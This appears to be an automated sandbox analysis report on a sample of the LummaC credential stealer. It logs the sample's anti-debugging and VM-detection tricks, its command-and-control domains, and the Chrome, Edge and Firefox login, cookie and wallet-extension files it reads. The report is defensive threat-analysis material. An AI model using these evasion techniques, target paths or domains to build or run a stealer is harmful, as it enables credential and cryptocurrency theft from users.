Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 618AF15 second address: 618AF7F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E14FCA65Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 7B16A54Dh 0x00000010 jg 00007F4E14FCA65Ch 0x00000016 mov cx, C08Ah 0x0000001a push 00000003h 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push edi 0x00000021 call 00007F4E14FCA658h 0x00000026 pop edi 0x00000027 mov dword ptr [esp+04h], edi 0x0000002b add dword ptr [esp+04h], 00000014h 0x00000033 inc edi 0x00000034 push edi 0x00000035 ret 0x00000036 pop edi 0x00000037 ret 0x00000038 push 00000003h 0x0000003a or dword ptr [ebp+122D1ECFh], esi 0x00000040 mov edi, dword ptr [ebp+122D3A2Ch] 0x00000046 push A249E2A0h 0x0000004b jo 00007F4E14FCA664h 0x00000051 push eax 0x00000052 push edx 0x00000053 jnp 00007F4E14FCA656h 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 618AF7F second address: 618AFC4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 add dword ptr [esp], 1DB61D60h 0x0000000d lea ebx, dword ptr [ebp+124509F1h] 0x00000013 push 00000000h 0x00000015 push edx 0x00000016 call 00007F4E14FBFA28h 0x0000001b pop edx 0x0000001c mov dword ptr [esp+04h], edx 0x00000020 add dword ptr [esp+04h], 00000016h 0x00000028 inc edx 0x00000029 push edx 0x0000002a ret 0x0000002b pop edx 0x0000002c ret 0x0000002d mov cx, 61A0h 0x00000031 jmp 00007F4E14FBFA2Ah 0x00000036 xchg eax, ebx 0x00000037 pushad 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61A82E1 second address: 61A82E6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61A8426 second address: 61A8451 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F4E14FBFA26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jng 00007F4E14FBFA3Dh 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61A85DF second address: 61A85E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61A85E3 second address: 61A85FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E14FBFA33h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61A8880 second address: 61A8888 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61A89EF second address: 61A89F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61A89F5 second address: 61A89F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61A8F5D second address: 61A8F78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F4E14FBFA26h 0x0000000a push edi 0x0000000b jmp 00007F4E14FBFA2Fh 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61A90D8 second address: 61A9106 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F4E14FCA656h 0x00000008 jmp 00007F4E14FCA665h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 pop edx 0x00000013 jmp 00007F4E14FCA65Bh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61A9106 second address: 61A913A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E14FBFA31h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007F4E14FBFA34h 0x00000011 je 00007F4E14FBFA26h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61A925A second address: 61A9298 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F4E14FCA65Ah 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F4E14FCA667h 0x00000011 jmp 00007F4E14FCA667h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61A95B3 second address: 61A95B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61A95B9 second address: 61A95BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61A9E40 second address: 61A9E44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61A9E44 second address: 61A9E5D instructions: 0x00000000 rdtsc 0x00000002 jc 00007F4E14FCA656h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F4E14FCA65Bh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61ABD55 second address: 61ABD5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61ABD5B second address: 61ABD62 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61AD5C4 second address: 61AD5F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jl 00007F4E14FBFA26h 0x0000000b jnc 00007F4E14FBFA26h 0x00000011 popad 0x00000012 popad 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 push ecx 0x00000018 push edi 0x00000019 pushad 0x0000001a popad 0x0000001b pop edi 0x0000001c pop ecx 0x0000001d mov eax, dword ptr [eax] 0x0000001f pushad 0x00000020 jmp 00007F4E14FBFA31h 0x00000025 push eax 0x00000026 push edx 0x00000027 push ebx 0x00000028 pop ebx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6172F81 second address: 6172F85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 616A9E0 second address: 616A9E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61B5CD0 second address: 61B5CD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 928C33 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 928BA2 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: ACD6DE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 600DEAE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 600B706 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 600DE05 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 5_2_061A2601 rdtsc

5_2_061A2601

Source: C:\Users\user\Desktop\file.exe

Code function: 5_2_0619B7D2 sidt fword ptr [esp-02h]

5_2_0619B7D2

Source: C:\Users\user\Desktop\file.exe TID: 7232	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7436	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7212	Thread sleep time: -34017s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\PlaceholderTileLogoFolder	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\.ms-ad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Comms	Jump to behavior

Source: file.exe, file.exe, 00000005.00000002.1662304085.0000000000AA7000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000005.00000002.1667063331.000000000618E000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000005.00000003.1374966298.00000000057FF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: file.exe, 00000005.00000003.1374966298.00000000057FF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: file.exe, 00000005.00000003.1374966298.00000000057FF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: file.exe, 00000005.00000003.1374966298.00000000057FF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: file.exe, 00000005.00000003.1374966298.00000000057FF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: file.exe, 00000005.00000003.1374966298.00000000057FF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: file.exe, 00000005.00000003.1374966298.00000000057FF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: file.exe, 00000005.00000003.1374966298.00000000057FF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696492231
Source: file.exe, 00000005.00000003.1374966298.00000000057FF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: file.exe, 00000005.00000003.1374966298.00000000057FF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: file.exe, file.exe, 00000005.00000002.1663062974.000000000121F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.1549096475.0000000001221000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000002.1663062974.00000000011CE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000005.00000003.1374966298.00000000057FF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: file.exe, 00000005.00000003.1374966298.00000000057FF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: file.exe, 00000005.00000003.1374966298.00000000057FF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: file.exe, 00000005.00000003.1374966298.00000000057FF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: file.exe, 00000005.00000003.1374418702.000000000580C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696492231p
Source: file.exe, 00000005.00000003.1374966298.00000000057FF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: file.exe, 00000005.00000003.1374966298.00000000057FF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696492231f
Source: file.exe, 00000005.00000002.1663062974.000000000128E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}NS
Source: file.exe, 00000005.00000003.1374966298.00000000057FF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696492231
Source: file.exe, 00000005.00000003.1374966298.00000000057FF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: file.exe, 00000005.00000003.1374966298.00000000057FF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: file.exe, 00000005.00000003.1374966298.00000000057FF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: file.exe, 00000005.00000003.1374966298.00000000057FF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: file.exe, 00000005.00000003.1374966298.00000000057FF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: file.exe, 00000005.00000003.1374966298.00000000057FF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: file.exe, 00000005.00000003.1374966298.00000000057FF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: file.exe, 00000005.00000003.1374966298.00000000057FF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: file.exe, 00000005.00000003.1374966298.00000000057FF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: file.exe, 00000005.00000003.1374966298.00000000057FF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: file.exe, 00000005.00000002.1662304085.0000000000AA7000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000005.00000002.1667063331.000000000618E000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000005.00000003.1374966298.00000000057FF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: file.exe, 00000005.00000003.1374966298.00000000057FF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: file.exe, 00000005.00000003.1374966298.00000000057FF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: file.exe, 00000005.00000003.1374966298.00000000057FF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 5_2_061A2601 rdtsc

5_2_061A2601

Source: C:\Users\user\Desktop\file.exe

Code function: 5_2_0619BB6B LdrInitializeThunk,

5_2_0619BB6B

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: file.exe	String found in binary or memory: 300snails.sbs
Source: file.exe	String found in binary or memory: faintbl0w.sbs
Source: file.exe	String found in binary or memory: 3xc1aimbl0w.sbs
Source: file.exe	String found in binary or memory: thicktoys.sbs

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior

Source: file.exe, file.exe, 00000005.00000002.1662304085.0000000000AA7000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000005.00000002.1667063331.000000000618E000.00000040.00000800.00020000.00000000.sdmp

Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: file.exe, file.exe, 00000005.00000003.1549096475.0000000001221000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 7160, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
